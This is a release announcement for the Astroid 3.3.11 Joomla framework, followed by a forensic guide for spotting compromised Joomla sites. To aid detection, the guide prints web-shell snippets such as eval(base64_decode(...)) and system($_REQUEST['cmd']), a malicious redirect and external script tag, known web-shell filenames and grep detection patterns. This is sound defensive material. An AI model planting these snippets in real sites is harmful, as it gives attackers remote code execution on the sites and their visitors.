Hi Astroid users,
We’re excited to announce the official release of Astroid 3.3.11 - a significant update focused on security, performance, and cleaner architecture. This version brings important internal improvements along with powerful refinements that enhance both developer experience and front-end performance.
Let’s take a closer look at what’s new.
☀️Astroid v3.3.11 - Changelog:
🔖 Fixes & Upgrade
- Fixed security vulnerabilities at the AJAX endpoint
- Upgraded GSAP from 3.13.0 to 3.14.2
- Rewrote the Mega Menu
- Rewrote Color Transform Code
- Centralized Button Style Definitions
🔒 Fixing security vulnerabilities
Security is always a top priority. In version 3.3.11, we’ve addressed vulnerabilities related to the AJAX endpoint to ensure safer communication and stronger protection for your Joomla websites. We strongly recommend updating to this version to benefit from the latest security enhancements.
🧩 GSAP Updated to 3.14.2
We’ve upgraded GSAP from 3.13.0 to 3.14.2, bringing improved performance, better stability, and compatibility with the latest animation features.
This ensures smoother animations, better browser support, and a more future-proof foundation for interactive UI elements across your site.
🎀 Mega Menu Fully Rewritten
The Mega Menu system has been completely rewritten.
This rewrite delivers:
- Cleaner and more maintainable code structure
- Improved animation handling
- Better performance and responsiveness
- Enhanced flexibility for complex submenu layouts
Whether you’re building simple dropdowns or advanced multi-column mega menus, the new system provides a more reliable and scalable foundation.
🎨 Color Transform Code Rewritten
We’ve also rewritten the Color Transform engine, improving how colors are processed and applied across the framework. This update strengthens Astroid’s dynamic styling capabilities while keeping performance optimized.
Benefits include:
- More accurate color manipulation
- Improved consistency across components
- Cleaner internal architecture
- Better maintainability for future enhancements
🔘 Centralized Button Style Definitions
A brand-new improvement in 3.3.11 is the addition of a centralized place to define and name button styles.
This makes it easier to:
- Create reusable button variants
- Maintain consistent design across your website
- Manage button styling from a single location
- Improve workflow efficiency
It’s a small change with a big impact on design consistency and developer productivity.
📌 Why Update?
Astroid 3.3.11 isn’t just a routine update, it’s a refinement release that strengthens the framework’s core architecture while improving security and maintainability.
If you're using an Astroid version before 3.3.11, we highly recommend upgrading to ensure your websites stay secure, optimized, and ready for future enhancements.
👉 Update today and enjoy a smoother, stronger Astroid experience.
🕵️ Quick Check for Infected Websites
This guide outlines several quick forensic checks that can help determine whether a Joomla! website has been compromised. In many cases, a malicious plugin payload or backdoor can be detected within minutes by performing these checks.
1. Check for PHP Files in Unusual Locations
In a clean Joomla! installation, PHP files are typically located within core directories such as /administrator, /components, /modules, /plugins, or /templates.
PHP files found in the following folders are often suspicious:
-
/images -
/tmp -
/cache -
/logs
Attackers frequently place malicious scripts in these directories because they are commonly writable.
Server / SSH Command
Run the following command to search for PHP files in these locations:
find . -type f -name "*.php" | grep -E "images|tmp|cache|logs"
If PHP files are found in these directories, they should be investigated immediately.
2. Search for Typical Backdoor Code
Attackers commonly hide malicious code using obfuscation techniques. Certain PHP functions frequently appear in compromised files.
Commonly Used Obfuscation Functions
Search your website files for the following functions:
grep -R "base64_decode(" .
grep -R "gzinflate(" .
grep -R "eval(" .
grep -R "shell_exec(" .
grep -R "system(" .
Highly Suspicious Examples
Examples of malicious code patterns include:
eval(base64_decode($_POST['data']));
or
@eval($_REQUEST['cmd']);
These commands allow attackers to execute arbitrary code remotely.
3. Check for Known Web Shell Files
Attackers often upload web shell scripts that provide remote control over the server.
Common web shell filenames include:
-
wso.php -
r57.php -
c99.php -
cmd.php -
shell.php -
upload.php
Example Search Command
find . -type f -name "shell.php"
If any of these files are found, they should be considered highly suspicious.
4. Check for Suspicious Administrator Accounts
Attackers frequently create new administrator accounts to maintain access.
Check in Joomla Backend
Navigate to:
/administrator
→ Users
→ Manage
Look for:
-
Unknown or newly created accounts
-
Existing accounts promoted to Super User
Database Check
You can also review accounts directly in the database:
SELECT username, email FROM jos_users;
Verify that all listed users are legitimate.
5. Inspect Modified Joomla Core Files
Core files are often modified to inject malicious code.
Commonly targeted files include:
-
index.php -
configuration.php -
.htaccess -
templates/*/index.php -
plugins/system/
Example of Malicious Code
if(isset($_REQUEST['cmd'])){
system($_REQUEST['cmd']);
}
Any unexpected code in these files should be carefully reviewed.
6. Check for Hidden SEO Spam Pages
Some attacks create thousands of hidden spam pages to manipulate search engine rankings.
You can test this using Google search:
site:yourdomain.com casino
site:yourdomain.com viagra
site:yourdomain.com crypto
If unrelated or spam content appears in the search results, your site may have been compromised with an SEO spam injection.
7. Detect Redirect Malware
Another common attack involves redirecting visitors to malicious websites.
Example Redirect Code
if(preg_match('/google|bing|yahoo/i', $_SERVER['HTTP_REFERER'])){
header("Location: spamdomain.com");
}
Malicious JavaScript Example
<script src="http://malicious-domain.ru/x.js"></script>
These redirects may only activate for specific visitors such as search engine traffic.
8. Look for Persistence Backdoors
Sophisticated attackers often install multiple backdoors to regain access after cleanup.
Typical locations include:
-
/plugins/system/ -
/modules/ -
/templates/ -
/images/
Backdoors may use random filenames such as:
-
a1.php -
z.php -
1.php
These files should be investigated carefully.
9. Verify the Joomla Version
Outdated Joomla versions are frequently targeted by automated attacks.
Ensure that your Joomla installation and all extensions are updated to the latest secure versions.
Attackers also commonly exploit upload directories such as:
-
/tmp/ -
/images/
Important: Avoid Partial Cleanup
A common mistake during incident response is removing only the obvious malicious file, such as:
shell.php
However, attackers often install multiple hidden backdoors. For example:
plugins/system/cache/cache.php
If any backdoor remains, the attacker may regain access to the site.
Recommended Safe Cleanup Process
To properly recover a compromised Joomla website, follow these steps:
-
Create a full backup of the site for forensic analysis.
-
Reinstall the Joomla core files completely.
-
Reinstall all extensions from trusted sources.
-
Inspect and clean the database.
-
Change all passwords, including:
-
Joomla administrator accounts
-
Database credentials
-
Hosting accounts
-
FTP/SFTP access
-
-
Perform a full server malware scan.
📝 Share Your Feedback
Our team will be so glad if you share with us your experience because your feedback matters. Therefore, if you encounter Astroid-related issues, but they haven’t been fixed in this version, feel free to let us know about what bugs are still bothering you by reporting the bugs Here, so we can address them as soon as possible.
